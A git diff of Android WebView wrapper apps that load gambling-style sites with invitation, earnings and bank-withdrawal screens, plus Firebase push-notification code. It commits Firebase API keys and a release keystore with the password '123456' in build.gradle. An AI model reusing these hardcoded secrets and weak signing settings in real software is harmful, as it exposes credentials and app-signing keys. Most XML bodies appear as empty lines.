a/bika99/src/main/res/drawable/ic_launcher_background.xml b/bika99/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/bika99/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bika99/src/main/res/drawable/input_bg.xml b/bika99/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/bika99/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/bika99/src/main/res/drawable/pass_word_bg.xml b/bika99/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/bika99/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/bika99/src/main/res/drawable/pass_word_bg1.xml b/bika99/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/bika99/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/drawable/pass_word_bg2.xml b/bika99/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/bika99/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/drawable/shape_btn_bg.xml b/bika99/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/bika99/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/drawable/shape_dialog_bg2.xml b/bika99/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/bika99/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/drawable/shape_dialog_bg3.xml b/bika99/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/bika99/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/drawable/shape_dialog_bg_new.xml b/bika99/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/bika99/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/bika99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bika99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/bika99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bika99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/mipmap-hdpi/ic_empty.png b/bika99/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/bika99/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/bika99/src/main/res/mipmap-hdpi/ic_pull_down.png b/bika99/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/bika99/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/bika99/src/main/res/mipmap-xhdpi/ic_close.png b/bika99/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/bika99/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/bika99/src/main/res/mipmap-xhdpi/ic_menu.png b/bika99/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/bika99/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/bika99/src/main/res/mipmap-xxhdpi/app_logo.png b/bika99/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..14f13c7 Binary files /dev/null and b/bika99/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/bika99/src/main/res/values-en/strings.xml b/bika99/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/bika99/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/bika99/src/main/res/values-night/themes.xml b/bika99/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/bika99/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/values/colors.xml b/bika99/src/main/res/values/colors.xml new file mode 100644 index 0000000..c4f9920 --- /dev/null +++ b/bika99/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/bika99/src/main/res/values/strings.xml b/bika99/src/main/res/values/strings.xml new file mode 100644 index 0000000..27973f7 --- /dev/null +++ b/bika99/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + Bika99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/bika99/src/main/res/values/themes.xml b/bika99/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/bika99/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/xml/app_updater_paths.xml b/bika99/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/bika99/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/xml/network_security_config.xml b/bika99/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/bika99/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/bika99/src/main/res/xml/provider_paths.xml b/bika99/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/bika99/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/bika99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/bika99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/bika99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/bk888/build.gradle b/bk888/build.gradle index e33b12f..7ae76eb 100644 --- a/bk888/build.gradle +++ b/bk888/build.gradle @@ -11,8 +11,8 @@ android { applicationId "com.web.bk888" minSdkVersion 24 targetSdkVersion 31 - versionCode rootProject.ext.versionCode - versionName rootProject.ext.versionName + versionCode 117 + versionName "1.1.7" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } @@ -78,5 +78,5 @@ android { } dependencies { - implementation project(path: ':base') + implementation project(path: ':base_bk88') } \ No newline at end of file diff --git a/bk888/google-services.json b/bk888/google-services.json index 74219dc..03f52ee 100644 --- a/bk888/google-services.json +++ b/bk888/google-services.json @@ -1,13 +1,13 @@ { "project_info": { - "project_number": "641258940228", - "project_id": "bk888-6138b", - "storage_bucket": "bk888-6138b.firebasestorage.app" + "project_number": "339737791981", + "project_id": "bk888-60550", + "storage_bucket": "bk888-60550.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:641258940228:android:664545cc96db12bd3f1911", + "mobilesdk_app_id": "1:339737791981:android:ac7a95d1a5fd8686ce2be4", "android_client_info": { "package_name": "com.web.bk888" } @@ -15,7 +15,7 @@ "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyB0x4czvyjVHn5_8vWSU4nbeScFtg2CYxI" + "current_key": "AIzaSyCqQt8z5hJ1Tp_TZt2pn8pZde4t7OnHhOc" } ], "services": { diff --git a/bk888/src/main/java/com/web/bk888/MainActivity2.java b/bk888/src/main/java/com/web/bk888/MainActivity2.java index 8f0713c..fc19b72 100644 --- a/bk888/src/main/java/com/web/bk888/MainActivity2.java +++ b/bk888/src/main/java/com/web/bk888/MainActivity2.java @@ -21,15 +21,15 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url","https://bk888.co/"); //网页的底部NavigationBar颜色 - MainActivity.saveString(this, "style_color", "#000000"); + MainActivity.saveString(this, "style_color", "#00000000"); //页面的大背景颜色 - MainActivity.saveString(this, "windows_color", "#000000"); + MainActivity.saveString(this, "windows_color", "#00000000"); //任务栏的文字颜色 0 黑 1白 默认黑 saveInt(MainActivity2.this,"is_white",1); super.onCreate(savedInstanceState); //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 - setBackDrawables(R.drawable.big_bg); - setImageView(false); + setBackDrawables(R.mipmap.start_bg); + setImageView(true); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(task -> { diff --git a/bk888/src/main/res/mipmap-xxhdpi/app_logo.jpg b/bk888/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..f7d4492 Binary files /dev/null and b/bk888/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/bk888/src/main/res/mipmap-xxhdpi/app_logo.png b/bk888/src/main/res/mipmap-xxhdpi/app_logo.png deleted file mode 100644 index 5f31988..0000000 Binary files a/bk888/src/main/res/mipmap-xxhdpi/app_logo.png and /dev/null differ diff --git a/bk888/src/main/res/mipmap-xxhdpi/start_bg.jpg b/bk888/src/main/res/mipmap-xxhdpi/start_bg.jpg new file mode 100644 index 0000000..e109af4 Binary files /dev/null and b/bk888/src/main/res/mipmap-xxhdpi/start_bg.jpg differ diff --git a/bk888/src/main/res/values-night/themes.xml b/bk888/src/main/res/values-night/themes.xml index 3b0f1a2..153f844 100644 --- a/bk888/src/main/res/values-night/themes.xml +++ b/bk888/src/main/res/values-night/themes.xml @@ -61,10 +61,10 @@ - @color/white + @android:color/transparent false - @drawable/big_bg + @mipmap/start_bg \ No newline at end of file diff --git a/bk888/src/main/res/values/themes.xml b/bk888/src/main/res/values/themes.xml index e1c80ec..1039ed9 100644 --- a/bk888/src/main/res/values/themes.xml +++ b/bk888/src/main/res/values/themes.xml @@ -64,10 +64,10 @@ - @color/white + @android:color/transparent false - @drawable/big_bg + @mipmap/start_bg diff --git a/bkk88au/.gitignore b/bkk88au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/bkk88au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/bkk88au/build.gradle b/bkk88au/build.gradle new file mode 100644 index 0000000..1303959 --- /dev/null +++ b/bkk88au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.bkk88au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "Bkk88au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_theme') +} \ No newline at end of file diff --git a/bkk88au/google-services.json b/bkk88au/google-services.json new file mode 100644 index 0000000..10a84c7 --- /dev/null +++ b/bkk88au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1060218410128", + "project_id": "maucuci-9651c", + "storage_bucket": "maucuci-9651c.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1060218410128:android:0b8a700289378d4dba7415", + "android_client_info": { + "package_name": "com.web.bkk88au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBb107_oeQFeofrtoa70tN80ukITSHgSrg" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/bkk88au/justlet.jks b/bkk88au/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/bkk88au/justlet.jks differ diff --git a/bkk88au/proguard-rules.pro b/bkk88au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/bkk88au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/bkk88au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/bkk88au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/bkk88au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/bkk88au/src/main/AndroidManifest.xml b/bkk88au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..a71fed0 --- /dev/null +++ b/bkk88au/src/main/AndroidManifest.xml @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bkk88au/src/main/java/com/web/bkk88au/MainActivity.java b/bkk88au/src/main/java/com/web/bkk88au/MainActivity.java new file mode 100644 index 0000000..88c980d --- /dev/null +++ b/bkk88au/src/main/java/com/web/bkk88au/MainActivity.java @@ -0,0 +1,82 @@ +package com.web.bkk88au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + initConfig(); + super.onCreate(savedInstanceState); + initWinwdowLogoConfig(); + registerFCM(); + } + + /** + * 注册FCM + */ + private void registerFCM() { + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + } + + /** + * 用于修改大背景渐变色 不设置 + * 大背景就是 windows_color 的颜色 + * 不要动 都在 app_config.xml中修改 + */ + private void initWinwdowLogoConfig() { + setBackDrawables(R.drawable.big_bg); + setImageView(getString(R.string.is_round).equals("1")); + } + + /** + * 基础配置都在这里 + * 不要动 都在 app_config.xml中修改 + */ + private void initConfig() { + + //===========================以下是APP的配置信息 都写在 app_config.xml中================================== + userId = Integer.parseInt(getString(R.string.userId)); + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + saveString(this, "base_url",getString(R.string.base_url)); + //网页的底部NavigationBar颜色 + saveInt(this, "style_color_int", getColor(R.color.style_color)); + //页面的大背景颜色 + saveInt(this, "windows_color_int", getColor(R.color.windows_color)); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white))); + //===========================以上是APP的配置信息 都写在 app_config.xml中================================== + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/bkk88au/src/main/java/com/web/bkk88au/MyFirebaseMessageingService.java b/bkk88au/src/main/java/com/web/bkk88au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..6b7c3b3 --- /dev/null +++ b/bkk88au/src/main/java/com/web/bkk88au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.bkk88au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/bkk88au/src/main/java/com/web/bkk88au/WebApplication.java b/bkk88au/src/main/java/com/web/bkk88au/WebApplication.java new file mode 100644 index 0000000..df48647 --- /dev/null +++ b/bkk88au/src/main/java/com/web/bkk88au/WebApplication.java @@ -0,0 +1,17 @@ +package com.web.bkk88au; + +import android.app.Application; +import android.content.Context; + +import java.util.HashMap; + +public class WebApplication extends Application { + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + } +} diff --git a/bkk88au/src/main/res/drawable/big_bg.xml b/bkk88au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..2e41ced --- /dev/null +++ b/bkk88au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/bkk88au/src/main/res/mipmap-xxhdpi/app_logo.png b/bkk88au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..3d9d420 Binary files /dev/null and b/bkk88au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/bkk88au/src/main/res/values-en/strings.xml b/bkk88au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/bkk88au/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/bkk88au/src/main/res/values-night/themes.xml b/bkk88au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3475a91 --- /dev/null +++ b/bkk88au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bkk88au/src/main/res/values/app_config.xml b/bkk88au/src/main/res/values/app_config.xml new file mode 100644 index 0000000..900440a --- /dev/null +++ b/bkk88au/src/main/res/values/app_config.xml @@ -0,0 +1,18 @@ + + + + + BKK88AU + + 29 + + https://maucuci.club/ + + 1 + + 1 + + #021f91 + + #010415 + \ No newline at end of file diff --git a/bkk88au/src/main/res/values/colors.xml b/bkk88au/src/main/res/values/colors.xml new file mode 100644 index 0000000..a4e1222 --- /dev/null +++ b/bkk88au/src/main/res/values/colors.xml @@ -0,0 +1,16 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #1251a1 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + \ No newline at end of file diff --git a/bkk88au/src/main/res/values/strings.xml b/bkk88au/src/main/res/values/strings.xml new file mode 100644 index 0000000..0ffb42d --- /dev/null +++ b/bkk88au/src/main/res/values/strings.xml @@ -0,0 +1,53 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: 